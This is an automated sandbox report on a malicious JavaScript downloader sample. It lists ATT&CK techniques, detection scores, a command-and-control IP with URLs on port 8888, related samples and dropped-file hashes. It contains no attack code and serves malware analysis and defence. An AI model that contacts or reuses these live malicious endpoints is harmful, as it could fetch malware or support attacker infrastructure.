Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
9751253252198928098.js	3%	Virustotal		Browse
9751253252198928098.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/Mm	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Um	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/ym	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/Mm	net.exe, 00000007.00000002.2419787943.00000247D5DF3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3646783930.000001AF8AA00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2417464398.000001AF8A860000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/Um	net.exe, 00000007.00000002.2419787943.00000247D5DF3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2419787943.00000247D5DB8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2419787943.00000247D5DF3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2419787943.00000247D5E0F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/ym	net.exe, 00000007.00000002.2419787943.00000247D5DF3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587779
Start date and time:	2025-01-10 17:53:19 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	9751253252198928098.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 2.23.242.162, 184.28.90.27, 23.209.209.135, 3.219.243.226, 52.22.41.97, 52.6.155.20, 3.233.129.217, 199.232.210.172, 2.16.168.107, 2.16.168.105, 20.109.210.53, 104.78.188.188
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:54:19	API Interceptor	23x Sleep call for process: powershell.exe modified
11:54:23	API Interceptor	1x Sleep call for process: net.exe modified
11:54:23	API Interceptor	2x Sleep call for process: svchost.exe modified
11:54:31	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12662108703247616042.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	44742054371077666.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1923918274137833386.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	62212369534426657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	VsTfsPVrfA.exe	Get hash	malicious	FormBook	Browse	199.232.214.172
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	238395810148579476.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	281511335289626058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2572722545251923438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12662108703247616042.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	44742054371077666.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	124651728043662978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7722523795018413
Encrypted:	false
SSDEEP:	1536:pJNVxIssjfjonQaKQA0bTMe0bS0bfQJZfhcZyPzJ0iDub69OGd+lJzZgSsrEGTWb:pJV3wb7cOrGqXuT72iIa5lzq
MD5:	24B05837B2821FDF843024D02886010B
SHA1:	8FDE4792CA964374C8B6AB51C5012502BEBE8E50
SHA-256:	89B179CFA491B7F4D107059AB42D367CD7064F8FF490D6304D14AE5F489442CA
SHA-512:	1B4926C7A913E08A995F8872EB90AA056F29A9BF3C076B7FC5136ACFFFE96DDEF4737AAEAEE95513B2E05DF388C28A91CD7181D0F123776C1C85548767EF4860
Malicious:	false
Preview:	.{..........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................... ...........4...Bv=.#.........`h.................h.!.....6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x4efcdba1, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.781667674634765
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/dviQJ5dyDkZA0bVQJOYkr3g16xz2UPkLk+k0KQRkjskjD+qaN4:hazanvxugz2UESQ
MD5:	BD479C482B657A26D08F3C3C22D8C77F
SHA1:	7EED1A6537F5476EE7C1602FA75D4147420C7F4B
SHA-256:	E54BCC0985301A2DD530246E4FBE9CC68DD1AAE420960FEE46A6A2DFBFA73F78
SHA-512:	DDC91D3C287BA521E9BA584B34A25480E24743D29337FA9E450F50D39F0DA00170D44392F0C93DF7BB50322AD5D1212214409E618B517F2C17B9EDFE1E007CCC
Malicious:	false
Preview:	N..... .......J.......X\...;...{......................0.o..........{%..6...}%.h.q.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................F~...6...}O.................HV..6...}%..........................#......h.q.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07879917459962597
Encrypted:	false
SSDEEP:	3:AltKYeF581alntSlsVlBcXYvkTill12St/ll/SnPK/t:AtKzF58gtWsPiIv0Gjlf
MD5:	CB2ECB18AB073850F1DE8DE33B089D64
SHA1:	DF762BDCE9CBCFBDE98F36381D53C981305C2782
SHA-256:	371B8442E5E1764887B84EA8D5B39C19C0944D2EB22A5D63A16DCB9BC3B5B4B2
SHA-512:	03B80E2D88E0B1F3FADA0ED2CB213215A5FD5BAD38094B83EC801B9028958BE408AA1CF9785C7DF453C416D3537F09F220D283F855515656E4C6BF4D5EA159AA
Malicious:	false
Preview:	.........................................;...{...6...}%......{%..............{%......{%.d........{%.................HV..6...}%.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.173656633484706
Encrypted:	false
SSDEEP:	6:iO4/o+q2Pv2nKuAl9OmbnIFUtS/nZmws/HVkwOv2nKuAl9OmbjLJ:7Io+v2HAahFUtun/0HV5bHAaSJ
MD5:	211E5EC71A2BDBD47689ECEF385A8139
SHA1:	71EA0B33205BF8FA243D0DC4F8AFCAA1BF446F9C
SHA-256:	D52C6F4017E2518BBAA6F90D7BB69C484F587EA3D7337522BCA917FFA6932067
SHA-512:	11B0CF059037A11DAC28543EB6A1CEB9A528B133AC30419D17F0A71808EC71014F075B5165727E1E46A805F1856DB848645756BD6264CEF379D968946A8A91EB
Malicious:	false
Preview:	2025/01/10-11:54:23.378 182c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:54:23.380 182c Recovering log #3.2025/01/10-11:54:23.380 182c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.173656633484706
Encrypted:	false
SSDEEP:	6:iO4/o+q2Pv2nKuAl9OmbnIFUtS/nZmws/HVkwOv2nKuAl9OmbjLJ:7Io+v2HAahFUtun/0HV5bHAaSJ
MD5:	211E5EC71A2BDBD47689ECEF385A8139
SHA1:	71EA0B33205BF8FA243D0DC4F8AFCAA1BF446F9C
SHA-256:	D52C6F4017E2518BBAA6F90D7BB69C484F587EA3D7337522BCA917FFA6932067
SHA-512:	11B0CF059037A11DAC28543EB6A1CEB9A528B133AC30419D17F0A71808EC71014F075B5165727E1E46A805F1856DB848645756BD6264CEF379D968946A8A91EB
Malicious:	false
Preview:	2025/01/10-11:54:23.378 182c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:54:23.380 182c Recovering log #3.2025/01/10-11:54:23.380 182c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.136501400763362
Encrypted:	false
SSDEEP:	6:iO4/+/4q2Pv2nKuAl9Ombzo2jMGIFUtS/uvUAv3JZmws/uUZvDkwOv2nKuAl9OmT:7I+/4v2HAa8uFUtuuMAv3J/0uUZvD5bg
MD5:	4C3BF3CDAE51E710F27526F3E651B289
SHA1:	B33FDA58E846E708A9BA9DC345F6FA9FE6F344FB
SHA-256:	7698860B8A7071E031AEE877DD43E0A1A1FB62D0154396FD2651E0D2AF03BABC
SHA-512:	69A62181E819AB89C171EA644039ED0C97E9910B6D6C1C604B2DC71BB7CDD96DFA3A9618949EB502C05F8926B3C1D75BB1C4ED3AA6336835D40043F2207B320B
Malicious:	false
Preview:	2025/01/10-11:54:23.459 1c20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:54:23.460 1c20 Recovering log #3.2025/01/10-11:54:23.461 1c20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.136501400763362
Encrypted:	false
SSDEEP:	6:iO4/+/4q2Pv2nKuAl9Ombzo2jMGIFUtS/uvUAv3JZmws/uUZvDkwOv2nKuAl9OmT:7I+/4v2HAa8uFUtuuMAv3J/0uUZvD5bg
MD5:	4C3BF3CDAE51E710F27526F3E651B289
SHA1:	B33FDA58E846E708A9BA9DC345F6FA9FE6F344FB
SHA-256:	7698860B8A7071E031AEE877DD43E0A1A1FB62D0154396FD2651E0D2AF03BABC
SHA-512:	69A62181E819AB89C171EA644039ED0C97E9910B6D6C1C604B2DC71BB7CDD96DFA3A9618949EB502C05F8926B3C1D75BB1C4ED3AA6336835D40043F2207B320B
Malicious:	false
Preview:	2025/01/10-11:54:23.459 1c20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:54:23.460 1c20 Recovering log #3.2025/01/10-11:54:23.461 1c20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\05f1406d-babd-44a7-a16b-76777d0d2625.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.964749778058901
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnpEsBdOg2HLPgcaq3QYiubPP7E4T3y:Y2sRdsudMHP3QYhbH7nby
MD5:	55BC43095C20D75F832763C67A59E7D6
SHA1:	E418C2CB35345CC8BC8C81FFFF3D7A982BF01BA4
SHA-256:	18C1CE21A82493562453D6313BE8DC2357EBD031E14F1900BC8522A40C4A0A74
SHA-512:	244388C105DEE645EFFE5D81DDD729EB3007AF87AB36B6D691D1ED45142955B5E3D42871540869605147DD202D36F1A042561FBED4D37AD5C23FD3374A0E15D8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381088075231642","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":331081},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.12","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.964749778058901
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnpEsBdOg2HLPgcaq3QYiubPP7E4T3y:Y2sRdsudMHP3QYhbH7nby
MD5:	55BC43095C20D75F832763C67A59E7D6
SHA1:	E418C2CB35345CC8BC8C81FFFF3D7A982BF01BA4
SHA-256:	18C1CE21A82493562453D6313BE8DC2357EBD031E14F1900BC8522A40C4A0A74
SHA-512:	244388C105DEE645EFFE5D81DDD729EB3007AF87AB36B6D691D1ED45142955B5E3D42871540869605147DD202D36F1A042561FBED4D37AD5C23FD3374A0E15D8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381088075231642","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":331081},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.12","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.219662659788333
Encrypted:	false
SSDEEP:	96:GQux1TtQoLOdBrjx5uaLOKhtr8OU8tZdUtFuHHoQHqO39y3lx:zux1TNOdBrjxQIOK/4OvZdUPuHHoQH3s
MD5:	6D2DE4F2E3E541FE351833437ED1EBC2
SHA1:	B822E480519501902FFB4CFFF3F295A33A6A409A
SHA-256:	C04ACC4C0C884BA1AF3D6AC5E10F623C9278B556E7BCC7E1044A809BF60320B6
SHA-512:	ECA7B70079ADDB161EC8C25F1D15DBD9E5F07C39D9F25182F2CF94923545143F964F62B315C68131C7FCEAA48B50232A6AA521F8C3F80DB6D586E5458F6CB1DA
Malicious:	false
Preview:	*...#................version.1..namespace-....o................next-map-id.1.Pnamespace-7e305c39_d2cf_4529_a05a_c594b19b130d-https://rna-resource.acrobat.com/.08..ur................next-map-id.2.Snamespace-3b7a0125_ffe4_43e4_9267_9114e9bd4ef0-https://rna-v2-resource.acrobat.com/.1..kr................next-map-id.3.Snamespace-b5707108_0a77_4f86_8085_b3b780fa5fd7-https://rna-v2-resource.acrobat.com/.2a60.o................next-map-id.4.Pnamespace-706bf942_8f67_4abb_a866_2428106408be-https://rna-resource.acrobat.com/.3....^...............Pnamespace-7e305c39_d2cf_4529_a05a_c594b19b130d-https://rna-resource.acrobat.com/$...r................next-map-id.5.Snamespace-8636f107_899a_42b0_9217_ddfd773d1c84-https://rna-v2-resource.acrobat.com/.4..p.r................next-map-id.6.Snamespace-7b9f8588_400e_4560_9274_0b14323a49a1-https://rna-v2-resource.acrobat.com/.5]..ro................next-map-id.7.Pnamespace-c8af9c4a_d01c_48c1_9e5d_35b6c87a8d52-https://rna-resource.acrobat.com/.6...uo..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.151556629073963
Encrypted:	false
SSDEEP:	6:iO4/DC4q2Pv2nKuAl9OmbzNMxIFUtS/WwNJZmws/mRDkwOv2nKuAl9OmbzNMFLJ:7IDC4v2HAa8jFUtuWwNJ/0mRD5bHAa8E
MD5:	ECEBFB699C49032805AF871C3CC545A9
SHA1:	5CE56E2D9D786E942BBD897123AD8F9A8B1EFF5F
SHA-256:	A4A26C0B5A63FB0B5023188C260380EFFD674666EDC9FB4E891F2BF6BDEB0F07
SHA-512:	2B3F1F6CCF3DCCEEE00F3EDC310E039CF2019B3B110A3E4EB50E1ECE0EF86FFB47DFF3B310703599ACE9C3607D7F25829BCCA1C672C2DF1D963176D2B792A3DA
Malicious:	false
Preview:	2025/01/10-11:54:23.701 1c20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:54:23.726 1c20 Recovering log #3.2025/01/10-11:54:23.774 1c20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.151556629073963
Encrypted:	false
SSDEEP:	6:iO4/DC4q2Pv2nKuAl9OmbzNMxIFUtS/WwNJZmws/mRDkwOv2nKuAl9OmbzNMFLJ:7IDC4v2HAa8jFUtuWwNJ/0mRD5bHAa8E
MD5:	ECEBFB699C49032805AF871C3CC545A9
SHA1:	5CE56E2D9D786E942BBD897123AD8F9A8B1EFF5F
SHA-256:	A4A26C0B5A63FB0B5023188C260380EFFD674666EDC9FB4E891F2BF6BDEB0F07
SHA-512:	2B3F1F6CCF3DCCEEE00F3EDC310E039CF2019B3B110A3E4EB50E1ECE0EF86FFB47DFF3B310703599ACE9C3607D7F25829BCCA1C672C2DF1D963176D2B792A3DA
Malicious:	false
Preview:	2025/01/10-11:54:23.701 1c20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:54:23.726 1c20 Recovering log #3.2025/01/10-11:54:23.774 1c20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438555897917776
Encrypted:	false
SSDEEP:	384:ye1ci5GZiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:S1urVgazUpUTTGt
MD5:	87F14B36D58267A32E4BBA656DD83909
SHA1:	3C74341ECA8B311FFADDF676D6FEC9D7429499D5
SHA-256:	A555F11A389625E51300B47F8734A92DC05642AC217C51E185CF548C0D2E3521
SHA-512:	75D07CCEC31CF674810C8A10C73FCC4EA51E7728C31DCCD5C8BFE64B51A8F6B12F39B5B11B42235237C04B83A8AE6DDF0843D76AFBE9D960E3A561435164F2A3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.769538263797625
Encrypted:	false
SSDEEP:	48:7MGJioyVzioy/oy1C7oy16oy19KOioy1noy1AYoy1Wioy1oioykioyBoy1noy1Ob:7BJuzx4XjBiIb9IVXEBodRBkB
MD5:	078495C1CECB315A6DB52F20362420B9
SHA1:	0A44CFC1C6809B32C4467B4092003D5B004D4288
SHA-256:	46F3C88B5D299CD3B58E650AF2CBA3976F7C2BA84A0E45D04FA24F62363E08AF
SHA-512:	2660ABAB9EC7FD4BDA91FD7A6E07F4D7BFABB0917690111C795D4BE4D157C97982D999EFD30488AF8EDF57CC20C9F1F60D37ACEE879746068BDF14BE2502EF2B
Malicious:	false
Preview:	.... .c.......6...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
